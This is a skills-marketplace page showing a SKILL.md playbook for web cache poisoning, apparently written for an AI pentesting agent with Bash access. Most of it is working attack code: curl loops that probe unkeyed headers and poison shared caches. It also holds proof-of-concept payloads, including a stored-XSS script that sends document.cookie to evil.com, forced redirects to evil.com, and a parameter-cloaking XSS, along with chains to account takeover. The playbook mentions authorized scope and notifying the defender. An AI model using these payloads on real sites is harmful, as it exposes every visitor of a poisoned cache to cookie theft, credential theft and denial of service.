Skip to main content

web-cache-poisoning

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

Aller à l'installation

Informations de source

Dépôt
BitterSecurity/Decepticon
Dernière activité de la source
1 juin 2026 à 23:00
Langue détectée de SKILL.md
anglais
Étoiles
5 611
Forks
1 061

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
web-cache-poisoning
description
Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","mitre_attack":"T1565.001","subdomain":"execution","tags":"web-application, cache, cdn, unkeyed-input, stored-xss"}
# Web Cache Poisoning Playbook Distinct from *cache deception* (tricking the cache into storing a victim's private response). Here, the attacker poisons the **shared** cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS. ## 1. Detection — find unkeyed inputs Definition: an *unkeyed* input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response. ```bash URL="https://<TARGET>/" # (1) Cache-status fingerprint — must see HIT/MISS to know caching exists curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via" # (2) Suspect headers — reflect into body or Location? for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \ "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \ "X-Host: evil.com" "X-Original-URL: /admin" \ "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \ "Forwarded: host=evil.com"; do echo "== $H ==" curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3 done # (3) Confirm poisoning — same URL twice, second request WITHOUT the header curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned ``` ## 2. Misconfig / technique matrix | Class | Trigger | Outcome | |---|---|---| | Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `<link rel=canonical>` or absolute URLs | stored open-redirect / XSS | | Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM | | Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS | | Routing override | `X-Original-URL: /admin`, `X-Rewrite-URL` | cached admin page served to public | | Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body | | Parameter cloaking | `?utm=x&utm=<payload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives | | Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response | | Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning | | HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning | | Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally | | Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL | | 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS | ## 3. Exploit PoC ### 3.1 Stored-XSS via unkeyed Host ```bash # Origin reflects X-Forwarded-Host into <meta property="og:url"> curl -s "https://<TARGET>/?cb=$RANDOM" \ -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="' # Verify cache HIT for the next visitor: curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com' ``` ### 3.2 Forced redirect ```bash curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null # Subsequent victims: curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location # → Location: https://evil.com/login (cached for the TTL) ``` ### 3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins) ```bash curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E" ``` ## 4. Chains - **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response. - **Cache poisoning → ATO**: poison `/login` to send creds to attacker via swapped form action. - **Cache poisoning → SSRF**: poison API responses an internal job consumes. - **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally. ## 5. Tools - Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool - `cache-poisoning` payload lists (PortSwigger research) - `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary/`X-Cache` ## 6. Detection signatures & OPSEC | Indicator | Detection method | OPSEC note | |---|---|---| | Repeated `X-Forwarded-*` permutations on one URL | WAF rule / access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests | | Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own | | Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure | ## Decision Gate: poisoning confirmed → exploitation - [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks) - [ ] At least one unkeyed input reflects into response/redirect - [ ] A second request without the input still returns the poisoned response - [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action) - [ ] Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per `finding-protocol`; otherwise downgrade.
Voir sur GitHub